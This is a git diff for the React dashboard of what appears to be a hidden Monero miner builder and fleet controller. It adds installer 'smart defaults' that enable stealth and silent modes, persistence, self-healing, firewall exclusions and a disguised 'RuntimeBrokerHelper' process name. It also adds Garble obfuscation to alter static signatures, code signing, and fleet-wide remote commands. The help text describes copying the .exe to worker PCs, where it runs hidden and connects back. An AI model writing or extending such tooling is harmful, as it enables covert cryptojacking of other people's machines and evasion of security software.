+}); diff --git a/server/web/src/help/fleetFilters.ts b/server/web/src/help/fleetFilters.ts new file mode 100644 index 0000000..c0a1584 --- /dev/null +++ b/server/web/src/help/fleetFilters.ts @@ -0,0 +1,95 @@ +import type { Agent } from '../types'; + +export interface FleetFilterState { + search: string; + tag: string; + subnet: string; + hashrateMin: number; + needsAttention: boolean; +} + +export const DEFAULT_FLEET_FILTERS: FleetFilterState = { + search: '', + tag: '', + subnet: '', + hashrateMin: 0, + needsAttention: false, +}; + +export function agentSubnet(ip: string): string { + const parts = (ip || '').trim().split('.'); + if (parts.length >= 3) return `${parts[0]}.${parts[1]}.${parts[2]}.x`; + return ip || 'unknown'; +} + +export function agentRejectRate(agent: Agent): number { + if (agent.shares_total <= 0) return 0; + return (agent.shares_bad / agent.shares_total) * 100; +} + +export function agentNeedsAttention(agent: Agent): boolean { + if (agent.status !== 'online') return true; + if (agentRejectRate(agent) >= 5 && agent.shares_total >= 10) return true; + return false; +} + +export function agentIsIdleMiner(agent: Agent): boolean { + return agent.status === 'online' && agent.hashrate_15m < 100; +} + +export function collectFleetTags(agents: Agent[]): string[] { + const set = new Set(); + for (const a of agents) { + for (const t of a.tags || []) { + const clean = t.trim(); + if (clean) set.add(clean); + } + } + return [...set].sort((a, b) => a.localeCompare(b)); +} + +export function collectFleetSubnets(agents: Agent[]): string[] { + const set = new Set(); + for (const a of agents) { + set.add(agentSubnet(a.ip)); + } + return [...set].sort(); +} + +export function filterFleetAgents(agents: Agent[], filters: FleetFilterState): Agent[] { + const q = filters.search.trim().toLowerCase(); + return agents.filter((a) => { + if (filters.needsAttention && !agentNeedsAttention(a)) return false; + if (filters.tag && !(a.tags || []).includes(filters.tag)) return false; + if (filters.subnet && agentSubnet(a.ip) !== filters.subnet) return false; + if (filters.hashrateMin > 0 && a.hashrate_15m < filters.hashrateMin) return false; + if (q) { + const hay = [ + a.name, + a.ip, + a.notes || '', + ...(a.tags || []), + a.id, + ] + .join(' ') + .toLowerCase(); + if (!hay.includes(q)) return false; + } + return true; + }); +} + +export function formatHashrate(h: number): string { + if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`; + if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`; + return `${h.toFixed(0)} H/s`; +} + +export function formatUptime(seconds: number): string { + const d = Math.floor(seconds / 86400); + const h = Math.floor((seconds % 86400) / 3600); + const m = Math.floor((seconds % 3600) / 60); + if (d > 0) return `${d}d ${h}h`; + if (h > 0) return `${h}h ${m}m`; + return `${m}m`; +} diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 4813fec..8ea7ae4 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -10,7 +10,7 @@ export const FORGE_BUILD_DEFAULTS: Omit< thread_mode: 'percent', thread_percent: 75, cpu_priority: 'below_normal', - mining_mode: 'always', + mining_mode: 'idle', display_mode: 'background', silent_mode: true, run_as: 'user', @@ -41,10 +41,13 @@ export const FORGE_BUILD_DEFAULTS: Omit< process_hollowing: false, mesh_p2p: false, auto_spread: false, + obfuscate: false, + sign_build: false, }; export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { const publicUrl = config.server?.public_url?.trim(); + const srv = config.server; return { ...FORGE_BUILD_DEFAULTS, worker_name: '', @@ -54,5 +57,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server pool_port: config.pool.port, pool_tls: config.pool.use_tls, pool_pass: config.pool.password || 'x', + obfuscate: srv?.obfuscate_default ?? false, + sign_build: srv?.sign_enabled ?? false, }; } diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index e4cc4d4..3710c28 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -157,6 +157,15 @@ export function applyForgeFieldUpdate( } break; + case 'worker_name': + if (typeof value === 'string' && value.trim()) { + const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48); + if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) { + next.process_name = proc; + } + } + break; + case 'pool_tls': if (value === true && next.pool_port === 3333) { // common pools use 443 for TLS — warn in preflight, don't auto-change port diff --git a/server/web/src/help/forgeSmartDefaults.test.ts b/server/web/src/help/forgeSmartDefaults.test.ts new file mode 100644 index 0000000..3b4ebcd --- /dev/null +++ b/server/web/src/help/forgeSmartDefaults.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from 'vitest'; +import { pickBestServerUrl, suggestWorkerName, applySmartForgeDefaults } from './forgeSmartDefaults'; +import type { BuildRequest } from '../types'; + +describe('forgeSmartDefaults', () => { + it('suggests next worker-N name', () => { + expect(suggestWorkerName([{ worker_name: 'worker-1' } as any])).toBe('worker-2'); + }); + + it('picks LAN url over localhost', () => { + expect( + pickBestServerUrl('http://localhost:8989', ['http://192.168.1.5:8989']) + ).toBe('http://192.168.1.5:8989'); + }); + + it('fills worker and process name', () => { + const form = applySmartForgeDefaults( + { worker_name: '', server_url: '' } as BuildRequest, + { endpointCandidates: ['http://10.0.0.2:8989'] } + ); + expect(form.worker_name).toMatch(/^worker-/); + expect(form.process_name).toBeTruthy(); + expect(form.server_url).toBe('http://10.0.0.2:8989'); + expect(form.mining_mode).toBe('idle'); + }); +}); diff --git a/server/web/src/help/forgeSmartDefaults.ts b/server/web/src/help/forgeSmartDefaults.ts new file mode 100644 index 0000000..80a483a --- /dev/null +++ b/server/web/src/help/forgeSmartDefaults.ts @@ -0,0 +1,125 @@ +import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types'; +import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; +import { lanEndpointCandidates } from './endpointHelpers'; + +const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/; + +/** Suggested unique worker label for the next forge. */ +export function suggestWorkerName(existing: BuildRecord[]): string { + const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean)); + for (let i = 1; i <= 999; i++) { + const name = `worker-${i}`; + if (!used.has(name)) return name; + } + return `worker-${Date.now().toString(36)}`; +} + +function sanitizeProcessName(workerName: string): string { + const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48); + return cleaned || 'RuntimeBrokerHelper'; +} + +function isGoodServerUrl(url: string): boolean { + try { + const u = new URL(url.trim()); + const host = u.hostname.toLowerCase(); + return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1'; + } catch { + return false; + } +} + +/** Pick the best control-server URL for workers on the LAN. */ +export function pickBestServerUrl(current: string, candidates: string[]): string { + if (current?.trim() && isGoodServerUrl(current)) return current.trim(); + const first = candidates.find(isGoodServerUrl); + return first || current?.trim() || ''; +} + +/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */ +export function recommendedForgePreset(): Partial { + return { + ...FORGE_BUILD_DEFAULTS, + mining_mode: 'idle', + idle_threshold_pct: 20, + idle_duration_minutes: 5, + thread_mode: 'percent', + thread_percent: 75, + display_mode: 'background', + stealth_mode: true, + silent_mode: true, + file_logging: false, + persistence: true, + auto_start: true, + self_healing: true, + adapt_to_hardware: true, + firewall_exclusion: true, + process_hollowing: false, + mesh_p2p: false, + auto_spread: false, + ai_enabled: false, + fusion_enabled: false, + output_dir: 'exports', + }; +} + +export interface SmartDefaultsContext { + builds?: BuildRecord[]; + endpointCandidates?: string[]; +} + +/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */ +export function applySmartForgeDefaults( + form: BuildRequest, + ctx: SmartDefaultsContext = {} +): BuildRequest { + const preset = recommendedForgePreset(); + const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []); + const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []); + + return { + ...form, + ...preset, + worker_name: worker, + server_url: serverUrl, + wallet: form.wallet?.trim() || form.wallet, + pool_host: form.pool_host || preset.pool_host!, + pool_port: form.pool_port || preset.pool_port!, + pool_tls: form.pool_tls ?? preset.pool_tls!, + pool_pass: form.pool_pass || preset.pool_pass!, + process_name: sanitizeProcessName(worker), + obfuscate: form.obfuscate ?? preset.obfuscate ?? false, + sign_build: form.sign_build ?? preset.sign_build ?? false, + }; +} + +export function forgeDefaultsFromServerSmart( + config: ServerConfig, + serverInfo: ServerInfo, + builds: BuildRecord[] = [] +): BuildRequest { + const publicUrl = config.server?.public_url?.trim(); + const srv = config.server; + const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port); + const base: BuildRequest = { + ...recommendedForgePreset(), + worker_name: '', + server_url: publicUrl || serverInfo.suggested_url || '', + wallet: config.wallet.address, + pool_host: config.pool.host, + pool_port: config.pool.port, + pool_tls: config.pool.use_tls, + pool_pass: config.pool.password || 'x', + obfuscate: srv?.obfuscate_default ?? false, + sign_build: srv?.sign_enabled ?? false, + } as BuildRequest; + return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }); +} + +export const RECOMMENDED_DEFAULTS_BLURB = + 'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.'; + +export function isValidWorkerName(name: string): boolean { + const t = name.trim(); + return t.length > 0 && WORKER_NAME_RE.test(t); +} diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 7c024b5..a6f82c9 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -1,24 +1,46 @@ export const SETUP_CHEATSHEET = [ { - title: '1. Calibrate the server', - body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.', + title: '1. Calibrate once', + body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.', }, { - title: '2. Forge your installer', - body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.', + title: '2. Forge (Simple mode)', + body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.', }, { title: '3. Deploy', - body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.', + body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.', }, { - title: '4. Command Deck', - body: 'Watch live hashrate, CPU, and shares from every machine on your network.', + title: '4. Watch the fleet', + body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.', }, ]; export const FIELD_HELP: Record = { - worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3', + calibrate_wallet: + 'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.', + calibrate_quick_setup: + 'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.', + forge_simple_mode: + 'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.', + forge_recommended_defaults: + 'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.', + obfuscate: + 'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).', + sign_build: + 'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.', + obfuscate_default: + 'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.', + sign_enabled: + 'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.', + sign_cert_thumbprint: + 'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.', + sign_tool_path: + 'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.', + sign_timestamp_url: + 'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.', + worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …', server_url: 'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.', output_dir: diff --git a/server/web/src/hooks/useWebSocket.ts b/server/web/src/hooks/useWebSocket.ts index dfbf70b..991018b 100644 --- a/server/web/src/hooks/useWebSocket.ts +++ b/server/web/src/hooks/useWebSocket.ts @@ -1,9 +1,12 @@ import { useEffect, useRef, useCallback, useState } from 'react'; -import type { WSMessage, Agent, Share, FleetAlert, PoolStatus, AIActivityEntry } from '../types'; - -interface DashboardInit { - agents: Agent[]; -} +import type { + WSDashboardInit, + WSAgentOffline, + WSStatsUpdate, + WSCommandResult, + WSAgentLog, +} from '../types/ws'; +import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types'; interface UseWebSocketReturn { isConnected: boolean; @@ -54,12 +57,12 @@ export function useWebSocket(): UseWebSocketReturn { ws.onmessage = (event) => { try { - const msg: WSMessage = JSON.parse(event.data); + const msg = JSON.parse(event.data) as WSMessage; setLatestMessage(msg); switch (msg.type) { case 'init': { - const data = msg.payload as DashboardInit; + const data = msg.payload as WSDashboardInit; if (data.agents) setAgents(data.agents); break; } @@ -69,7 +72,7 @@ export function useWebSocket(): UseWebSocketReturn { const idx = prev.findIndex((a) => a.id === agent.id); if (idx >= 0) { const updated = [...prev]; - updated[idx] = agent; + updated[idx] = { ...updated[idx], ...agent }; return updated; } return [...prev, agent]; @@ -77,7 +80,7 @@ export function useWebSocket(): UseWebSocketReturn { break; } case 'agent_offline': { - const { agent_id } = msg.payload as { agent_id: string }; + const { agent_id } = msg.payload as WSAgentOffline; setAgents((prev) => prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a @@ -86,17 +89,7 @@ export function useWebSocket(): UseWebSocketReturn { break; } case 'stats_update': { - const update = msg.payload as { - agent_id: string; - hashrate_15s: number; - hashrate_1m: number; - hashrate_15m: number; - cpu_usage_pct: number; - memory_usage_pct?: number; - uptime_seconds?: number; - shares_submitted?: number; - shares_accepted?: number; - }; + const update = msg.payload as WSStatsUpdate; setAgents((prev) => prev.map((a) => a.id === update.agent_id @@ -115,6 +108,7 @@ export function useWebSocket(): UseWebSocketReturn { (update.shares_submitted ?? a.shares_total) - (update.shares_accepted ?? a.shares_good) ), + status: 'online' as const, } : a ) @@ -150,17 +144,15 @@ export function useWebSocket(): UseWebSocketReturn { break; } case 'command_result': { - const { agent_id } = msg.payload as { agent_id?: string }; - if (agent_id && msg.payload && typeof msg.payload === 'object') { - const p = msg.payload as { action?: string; message?: string; success?: boolean }; - if (p.action === 'get_log' && p.success && p.message) { - setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! })); - } + const p = msg.payload as WSCommandResult; + const agent_id = p.agent_id; + if (agent_id && p.action === 'get_log' && p.success && p.message) { + setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! })); } break; } case 'agent_log': { - const { agent_id, content } = msg.payload as { agent_id: string; content: string }; + const { agent_id, content } = msg.payload as WSAgentLog; if (agent_id) { setAgentLogs((prev) => ({ ...prev, [agent_id]: content })); } diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index a3c5e3f..9aeec64 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -1,11 +1,22 @@ -import { useState, useEffect } from 'react'; +import { useState, useEffect, useMemo, useCallback } from 'react'; import { api } from '../api/client'; import { useWebSocket } from '../hooks/useWebSocket'; import type { Agent, HashrateSample } from '../types'; import HashrateChart from '../components/Charts/HashrateChart'; import NeonCard from '../components/NeonCard/NeonCard'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; +import AgentListItem from '../components/Fleet/AgentListItem'; +import FleetToolbar from '../components/Fleet/FleetToolbar'; +import { + DEFAULT_FLEET_FILTERS, + filterFleetAgents, + agentIsIdleMiner, + formatHashrate, + formatUptime, +} from '../help/fleetFilters'; +import type { FleetFilterState } from '../help/fleetFilters'; import '../components/Fleet/FleetPanels.css'; +import '../components/Fleet/FleetToolbar.css'; import '../components/Fleet/AgentRemoteActions.css'; import './Pages.css'; @@ -13,11 +24,19 @@ export default function AgentsPage() { const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket(); const [agents, setAgents] = useState([]); const [selectedAgent, setSelectedAgent] = useState(null); + const [expandedId, setExpandedId] = useState(null); + const [selectedIds, setSelectedIds] = useState>(new Set()); + const [filters, setFilters] = useState(DEFAULT_FLEET_FILTERS); + const [bulkBusy, setBulkBusy] = useState(false); const [hashrateHistory, setHashrateHistory] = useState([]); const [loading, setLoading] = useState(true); const [loadError, setLoadError] = useState(''); const [logContent, setLogContent] = useState(''); const [logLoading, setLogLoading] = useState(false); + const [notesDraft, setNotesDraft] = useState(''); + const [tagsDraft, setTagsDraft] = useState(''); + const [metaSaving, setMetaSaving] = useState(false); + const [metaMsg, setMetaMsg] = useState(''); useEffect(() => { api.listAgents() @@ -33,6 +52,8 @@ export default function AgentsPage() { const updated = liveAgents.find((a) => a.id === selectedAgent.id); if (updated) { setSelectedAgent(updated); + setNotesDraft(updated.notes || ''); + setTagsDraft((updated.tags || []).join(', ')); } else { setSelectedAgent(null); setLogContent(''); @@ -45,6 +66,11 @@ export default function AgentsPage() { } }, [selectedAgent?.id, agentLogs]); + const filteredAgents = useMemo( + () => filterFleetAgents(agents, filters), + [agents, filters] + ); + const refreshLog = async (refresh = false) => { if (!selectedAgent) return; setLogLoading(true); @@ -60,6 +86,9 @@ export default function AgentsPage() { const selectAgent = async (agent: Agent) => { setSelectedAgent(agent); + setNotesDraft(agent.notes || ''); + setTagsDraft((agent.tags || []).join(', ')); + setMetaMsg(''); setLogContent(''); try { const history = await api.getAgentStats(agent.id, 60); @@ -69,15 +98,75 @@ export default function AgentsPage() { } }; + const saveMeta = async () => { + if (!selectedAgent) return; + setMetaSaving(true); + setMetaMsg(''); + const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean); + try { + const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags); + const updated = res.agent; + setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a))); + setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev)); + setMetaMsg('Saved'); + setTimeout(() => setMetaMsg(''), 2000); + } catch (err) { + setMetaMsg(err instanceof Error ? err.message : 'Save failed'); + } finally { + setMetaSaving(false); + } + }; + + const toggleSelect = useCallback((id: string, on: boolean) => { + setSelectedIds((prev) => { + const next = new Set(prev); + if (on) next.add(id); + else next.delete(id); + return next; + }); + }, []); + + const handleBulkAction = async (action: string) => { + const ids = [...selectedIds]; + if (ids.length === 0) return; + + let targetIds = ids; + if (action === 'restart_idle') { + targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id); + if (targetIds.length === 0) { + alert('No selected online agents with idle hashrate (< 100 H/s).'); + return; + } + action = 'restart'; + } + + const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online'); + if (onlineIds.length === 0) { + alert('No online agents in selection.'); + return; + } + + if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return; + + setBulkBusy(true); + try { + await api.sendBulkCommand(onlineIds, action); + } catch (err) { + console.error(err); + } finally { + setBulkBusy(false); + } + }; + return (

FLEET REGISTRY

Fleet Roster

-

Inspect each node — hashrate history, hardware, share ledger.

+

Compact list — click a row to expand quick actions or inspect full telemetry on the right.

- {agents.length} NODES + {filteredAgents.length}/{agents.length} NODES
{loadError && ( @@ -98,45 +187,74 @@ export default function AgentsPage() { ) : (
-
- {agents.map((agent) => ( -
selectAgent(agent)} - > -
-
- - {agent.name} -
- - {agent.status} - -
-
- Hashrate: {formatHashrate(agent.hashrate_15m)} - Shares: {agent.shares_good}/{agent.shares_total} -
-
- {agent.ip} - v{agent.version || '?'} - {agent.cpu_cores} cores -
- -
- ))} +
+ +
+ {filteredAgents.map((agent) => ( + toggleSelect(agent.id, on)} + onSelect={() => void selectAgent(agent)} + onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))} + latestWsMessage={latestMessage} + /> + ))} + {filteredAgents.length === 0 && ( +

No agents match filters.

+ )} +
{selectedAgent && (

{selectedAgent.name}

+ {(selectedAgent.tags?.length ?? 0) > 0 && ( +
+ {selectedAgent.tags!.map((t) => ( + {t} + ))} +
+ )} + +
+

Notes & Tags

+

Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.

+